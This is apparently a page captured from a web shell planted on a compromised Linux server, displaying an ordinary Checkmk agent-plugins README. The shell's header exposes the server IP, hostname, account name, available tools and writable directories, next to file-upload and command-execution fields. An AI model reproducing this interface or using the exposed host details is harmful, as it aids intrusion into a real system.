403Webshell
Server IP : 162.19.112.25  /  Your IP : 216.73.216.88
Web Server : LiteSpeed
System : Linux qamar.tasjeel.ae 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : archiart ( 1428)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/usr/lib/check_mk_agent/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib/check_mk_agent/plugins/README
Agent Plugins
=============

These plugins can be installed in the plugins directory of the Linux agent
in /usr/lib/check_mk_agent/plugins/. Please only install the plugins that
you really need.

If you want a plugin to be run asynchronously and also in
a larger interval then the normal check interval, then you can copy it to
a subdirectory named after a number of *seconds*, e.g.:

/usr/lib/check_mk_agent/plugins/60/mk_zypper

In that case the agent will:

 - Run this plugin in the background and wait not for it to finish.
 - Store the result of the plugin in a cache file below /etc/check_mk/cache.
 - Use that file for one hour before running the script again.

How to write a parametrized Agent Plugin
----------------------------------------

For a working Agent Plugin you need:

 * an Agent Plugin
   The `Agent Plugin` and a `configuration file` will be deployed to the monitored machine.
 * a Bakery Plugin - this creates the `configuration file` by using the `WATO Rule` to get the data from the user.
 * a WATO rule - to define the shape and set of data which the Agent Plugin needs

The format in which the Bakery-Plugin writes and the Agent-Plugin reads the configuration is not specified, but
for new Plugins a `ConfigParser` solution would be preferable.

You should also create an example configuration in ``agents/cfg_examples/`` so
users of checkmk raw edition know how to configure the Agent-Plugin without
being able to bake agents.

Recent Examples:

  * mk_docker.py
  * mk_mongodb.py

Youez - 2016 - github.com/yon3zu
LinuXploit